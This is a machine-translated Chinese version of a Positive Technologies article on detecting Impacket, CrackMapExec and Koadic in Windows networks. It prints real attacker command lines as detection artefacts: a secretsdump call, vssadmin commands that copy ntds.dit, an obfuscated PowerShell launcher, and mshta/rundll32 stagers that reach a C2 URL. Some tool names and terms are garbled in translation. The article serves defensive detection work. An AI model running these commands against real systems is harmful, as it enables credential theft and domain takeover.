如何偵測對 Windows 基礎架構的攻擊:研究駭客工具

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具

企業部門的攻擊數量每年都在增加:例如 2017 年,記錄的獨特事件增加了 13% 比 2016 年和 2018 年底 - 事件增加 27%比上一時期。 包括那些主要工作工具是Windows作業系統的。 2017-2018年,APT蜻蜓、APT28、 APT渾水公司 對歐洲、北美和沙烏地阿拉伯的政府和軍事組織進行了攻擊。 我們為此使用了三種工具 - 封包, 破解地圖執行 и 科阿迪克。 他們的源代碼是開放的,可以在 GitHub 上取得。

值得注意的是,這些工具並不是用於初始滲透,而是用於在基礎設施內發動攻擊。 攻擊者在滲透邊界後的不同攻擊階段使用它們。 順便說一句,這很難檢測到,並且通常只能藉助技術來檢測 辨識網路流量中的妥協痕跡 或允許的工具 偵測攻擊者滲透基礎設施後的主動行為。 這些工具提供了多種功能,從傳輸檔案到與註冊表互動以及在遠端電腦上執行命令。 我們對這些工具進行了研究,以確定它們的網路活動。

我們需要做什麼:

  • 了解駭客工具的工作原理。 了解攻擊者需要利用什麼以及他們可以使用哪些技術。
  • 尋找資訊安全工具在攻擊的第一階段未偵測到的內容。 偵察階段可能會被跳過,因為攻擊者是內部攻擊者,或者因為攻擊者正在利用基礎設施中以前未知的漏洞。 恢復他的整個行動鏈變得可能,因此渴望檢測進一步的運動。
  • 消除入侵偵測工具的誤報。 我們絕不能忘記,當僅憑偵察發現某些行動時,可能會頻繁出現錯誤。 通常,在基礎設施中,有足夠多的方式來獲取任何信息,乍一看與合法方式沒有什麼區別。

這些工具為攻擊者帶來了什麼? 如果這是 Impacket,那麼攻擊者會收到一個大型模組庫,可以在突破邊界後的攻擊的不同階段使用這些模組。 許多工具在內部使用 Impacket 模組 - 例如 Metasploit。 它有 dcomexec 和 wmiexec 用於遠端命令執行,secretsdump 用於從記憶體中取得從 Impacket 新增的帳戶。 因此,正確檢測此類文庫的活性將確保衍生物的檢測。

創作者寫下 CrackMapExec(或簡稱 CME)的「Powered by Impacket」並非巧合。 此外,CME 還為流行場景提供了現成的功能:用於獲取密碼或其雜湊值的 Mimikatz、用於遠端執行的 Meterpreter 或 Empire 代理程式的實作以及板上的 Bloodhound。

我們選擇的第三個工具是 Koadic。 它是最近才出現的,於 25 年在國際黑客會議 DEFCON 2017 上提出,並以非標準方法為特色:它通過 HTTP、Java Script 和 Microsoft Visual Basic Sc​​​​ript (VBS) 工作。 這種方法稱為「living off the land」:該工具使用 Windows 內建的一組相依性和函式庫。 創建者稱之為 COM 命令與控制,或 C3。

衝擊包

Impacket 的功能非常廣泛,從AD 內部偵察和從內部MS SQL 伺服器收集數據,到獲取憑證的技術:這是一種SMB 中繼攻擊,並從網域控制器取得包含使用者密碼雜湊值的ntds.dit文件。 Impacket 還使用四種不同的方法遠端執行命令:WMI、Windows Scheduler Management Service、DCOM 和 SMB,並且需要憑證才能執行此操作。

秘密轉儲

讓我們來看看secretsdump。 這是一個可以針對使用者電腦和網域控制器的模組。 它可以用來取得記憶體區域LSA、SAM、SECURITY、NTDS.dit的副本,因此可以在攻擊的不同階段看到。 這個模組操作的第一步是透過 SMB 進行身份驗證,這需要使用者的密碼或其雜湊值來自動執行雜湊傳遞攻擊。 接下來是開放對服務控制管理器 (SCM) 的存取並透過 winreg 協定存取註冊表的請求,攻擊者可以使用該協定找出感興趣的分支的資料並透過 SMB 獲取結果。

在圖中。 在圖 1 中,我們看到使用 winreg 協定時,如何使用具有 LSA 的註冊表項來取得存取權限。 為此,請使用帶有操作碼 15 - OpenKey 的 DCERPC 命令。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 1. 使用 winreg 協定開啟註冊表項

接下來,當獲得對金鑰的存取權限時,將使用帶有操作碼 20 的 SaveKey 命令保存值。Impacket 以非常具體的方式執行此操作。 它將值保存到一個檔案中,該檔案的名稱是由 8 個隨機字元組成的字串,並附加 .tmp。 此外,也可以透過 SMB 從 System32 目錄進一步上傳該檔案(圖 2)。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 2.從遠端機器取得登錄機碼的方案

事實證明,網路上的此類活動可以透過使用 winreg 協定、特定名稱、命令及其順序查詢某些註冊表分支來檢測。

該模組還在 Windows 事件日誌中留下痕跡,使其易於檢測。 例如,作為執行命令的結果

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

在 Windows Server 2016 日誌中,我們將看到下列關鍵事件序列:

1. 4624 - 遠端登入。
2. 5145 - 檢查 winreg 遠端服務的存取權限。
3. 5145 - 檢查System32目錄中的檔案存取權限。 該文件具有上面提到的隨機名稱。
4. 4688 - 建立啟動 vssadmin 的 cmd.exe 進程:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - 使用下列指令建立進程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - 使用下列指令建立進程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - 使用下列指令建立進程:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

執行程式

與許多後利用工具一樣,Impacket 具有用於遠端執行命令的模組。 我們將重點關注 smbexec,它在遠端電腦上提供互動式命令 shell。 此模組還需要透過 SMB 進行身份驗證,使用密碼或密碼雜湊。 在圖中。 在圖 3 中,我們看到了此類工具如何運作的範例,在本例中它是本機管理員控制台。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 3.互動式smbexec控制台

驗證後 smbexec 的第一步是使用 OpenSCManagerW 指令 (15) 開啟 SCM。 該查詢值得注意:MachineName 欄位是 DUMMY。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 4. 請求開啟服務控制管理器

接下來,使用 CreateServiceW 指令建立服務 (12)。 對於 smbexec,我們每次都可以看到相同的指令建構邏輯。 在圖中。 5 綠色表示不可更改的命令參數,黃色表示攻擊者可以更改的內容。 很容易看出可執行檔的名稱、其目錄和輸出檔是可以更改的,但在不干擾 Impacket 模組邏輯的情況下更改其餘部分要困難得多。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 5. 使用服務控制管理器請求建立服務

Smbexec 在 Windows 事件日誌中也留下了明顯的痕跡。 在使用 ipconfig 命令的互動式命令 shell 的 Windows Server 2016 日誌中,我們將看到以下關鍵事件序列:

1. 4697-在受害者機器上安裝服務:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - 使用第 1 點中的參數建立 cmd.exe 進程。
3. 5145 - 檢查 C$ 目錄中 __output 檔案的存取權限。
4. 4697-在受害者的機器上安裝服務。

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - 使用第 4 點中的參數建立 cmd.exe 進程。
6. 5145 - 檢查 C$ 目錄中 __output 檔案的存取權限。

Impacket是開發攻擊工具的基礎。 它支援Windows基礎架構中的幾乎所有協議,同時具有自己的特色功能。 以下是特定的winreg請求,以及使用具有特徵的指令形成的SCM API,以及檔案名稱格式,以及SMB共用SYSTEM32。

破解映射執行程式

CME 工具的主要設計目的是自動執行攻擊者在網路中前進所必須執行的那些例行操作。 它可以讓你與著名的帝國特工和Meterpreter一起工作。 為了隱蔽地執行指令,CME 可以對它們進行混淆。 使用 Bloodhound(一種單獨的偵察工具),攻擊者可以自動搜尋活動的網域管理員會話。

尋血獵犬

Bloodhound 作為一個獨立工具,可以在網路內進行進階偵察。 它收集有關使用者、電腦、群組、會話的數據,並以 PowerShell 腳本或二進位檔案的形式提供。 基於 LDAP 或 SMB 的協定用於收集資訊。 CME整合模組允許Bloodhound下載到受害者的機器上,運行並在執行後接收收集的數據,從而自動化系統中的操作並使它們不那麼引人注目。 Bloodhound 圖形 shell 以圖形的形式呈現收集到的數據,這使您可以找到從攻擊者的電腦到網域管理員的最短路徑。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 6. 尋血獵犬界面

為了在受害者的電腦上運行,該模組使用 ATSVC 和 SMB 建立任務。 ATSVC 是用於與 Windows 任務計劃程式配合使用的介面。 CME 使用其 NetrJobAdd(1) 函數透過網路建立任務。 CME 模組傳送的範例如圖 7 所示。 XNUMX:這是一個 cmd.exe 指令呼叫和以 XML 格式的參數形式進行混淆的程式碼。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
圖 7. 透過 CME 創建任務

任務提交執行後,受害者的機器會自行啟動 Bloodhound,這可以在流量中看到。 此模組的特點是透過 LDAP 查詢來獲取標準群組、網域中所有電腦和使用者的列表,並透過 SRVSVC NetSessEnum 請求獲取有關活動使用者會話的資訊。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 8. 透過SMB取得活動會話列表

此外,在啟用了審核的受害者電腦上啟動 Bloodhound 會伴隨 ID 4688(進程建立)和進程名稱的事件 «C:WindowsSystem32cmd.exe»。 值得注意的是命令列參數:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

枚舉_av產品

從功能和實作的角度來看,enum_avproducts 模組非常有趣。 WMI 允許您使用 WQL 查詢語言從各種 Windows 物件檢索數據,這本質上就是此 CME 模組所使用的。 它產生對 AntiSpywareProduct 和 AntiМirusProduct 類別有關受害者電腦上安裝的保護工具的查詢。 為了取得必要的數據,該模組連接到 rootSecurityCenter2 命名空間,然後產生 WQL 查詢並接收回應。 在圖中。 圖 9 顯示了此類請求和回應的內容。 在我們的範例中,找到了 Windows Defender。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 9. enum_avproducts 模組的網路活動

通常,WMI 審核(追蹤 WMI 活動)可能會被停用,在其事件中您可以找到有關 WQL 查詢的有用資訊。 但如果啟用,則執行 enum_avproducts 腳本時,將儲存 ID 為 11 的事件,其中將包含發送請求的使用者的名稱以及 rootSecurityCenter2 命名空間中的名稱。

每個 CME 模組都有自己的工件,無論是特定的 WQL 查詢還是在任務排程器中建立某種類型的任務,並在 LDAP 和 SMB 中進行混淆和 Bloodhound 特定的活動。

科阿迪克

Koadic 的一個顯著特點是使用 Windows 內建的 JavaScript 和 VBScript 解譯器。 從這個意義上說,它遵循了離地生活的趨勢——也就是說,它沒有外部依賴,並且使用標準的Windows工具。 這是一個完整的命令與控制 (CnC) 工具,因為感染後,機器上會安裝一個“植入物”,從而可以對其進行控制。 這樣的機器,用 Koadic 術語來說,被稱為「殭屍」。 如果受害者一方沒有足夠的權限進行完整操作,Koadic 可以使用使用者帳戶控制繞過(UAC 繞過)技術來提高權限。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 10.Koadic 外殼

受害者必須啟動與命令與控制伺服器的通訊。 為此,她需要聯繫先前準備的 URI 並使用其中一個 stager 接收主要的 Koadic 正文。 在圖中。 圖 11 顯示了 mshta stager 的範例。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 11. 初始化與 CnC 伺服器的會話

根據回應變數 WS,可以清楚地看出執行是透過 WScript.Shell 進行的,並且變數 STAGER、SESSIONKEY、JOBKEY、JOBKEYPATH、EXPIRE 包含有關當前會話參數的關鍵資訊。 這是與 CnC 伺服器的 HTTP 連線中的第一個請求-回應對。 後續請求與被呼叫模組(植入程式)的功能直接相關。 所有 Koadic 模組僅適用於與 CnC 的活動會話。

Mimikatz

就像 CME 與 Bloodhound 合作一樣,Koadic 與 Mimikatz 作為一個單獨的程式合作,並且有多種啟動方式。 以下是用於下載 Mimikatz 植入程式的請求-回應對。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 12. 將 Mimikatz 轉移到 Koadic

您可以看到請求中的 URI 格式發生了怎樣的變化。 現在它包含 csrf 變數的值,該變數負責所選模組。 不要注意她的名字; 我們都知道CSRF通常有不同的理解。 回應是與Koadic相同的主體,其中添加了與Mimikatz相關的程式碼。 它相當大,所以我們來看看重點。 這裡我們有以 base64 編碼的 Mimikatz 函式庫、一個將注入它的序列化 .NET 類,以及啟動 Mimikatz 的參數。 執行結果以明文形式透過網路傳輸。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 13. 在遠端機器上運行Mimikatz的結果

執行命令

Koadic 還具有可以遠端執行命令的模組。 在這裡我們將看到相同的 URI 生成方法以及熟悉的 sid 和 csrf 變數。 對於 exec_cmd 模組,程式碼被加入到能夠執行 shell 命令的主體中。 下面顯示了 CnC 伺服器的 HTTP 回應中包含的此類程式碼。

如何偵測對 Windows 基礎架構的攻擊:研究駭客工具
米。 14.植入代碼exec_cmd

程式碼執行需要具有熟悉的 WS 屬性的 GAWTUUGCFI 變數。 在它的幫助下,植入程式呼叫 shell,處理兩個程式碼分支:傳回輸出資料流的 shell.exec 和不傳回的 shell.run。

Koadic 不是一個典型的工具,但它有自己的工件,可以在合法流量中找到它:

  • HTTP 請求的特殊格式,
  • 使用 winHttpRequests API,
  • 透過 ActiveXObject 建立 WScript.Shell 對象,
  • 大型可執行體。

初始連線由 stager 發起,因此可以透過 Windows 事件偵測其活動。 對於 mshta,這是事件 4688,它表示建立具有 start 屬性的進程:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

當 Koadic 運行時,您可以看到其他 4688 事件,其屬性完美地表徵了它:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

發現

以土地為生的趨勢在犯罪分子中越來越流行。 他們使用 Windows 內建的工具和機制來滿足自己的需求。 我們看到遵循這項原則的熱門工具 Koadic、CrackMapExec 和 Impacket 越來越多地出現在 APT 報告中。 GitHub 上這些工具的分支數量也在增加,並且不斷出現新的分支(現在已經有大約一千個)。 這種趨勢因其簡單性而越來越受歡迎:攻擊者不需要第三方工具;它們已經在受害者的電腦上並幫助他們繞過安全措施。 我們專注於研究網路通訊:上述每種工具都會在網路流量中留下自己的痕跡; 對它們的詳細研究使我們能夠教授我們的產品 PT網絡攻擊發現 檢測它們,這最終有助於調查涉及它們的整個網路事件鏈。

作者:

  • Anton Tyurin,Positive Technologies PT 專家安全中心專家服務部主管
  • Egor Podmokov,Positive Technologies PT 專家安全中心專家

來源: www.habr.com

添加評論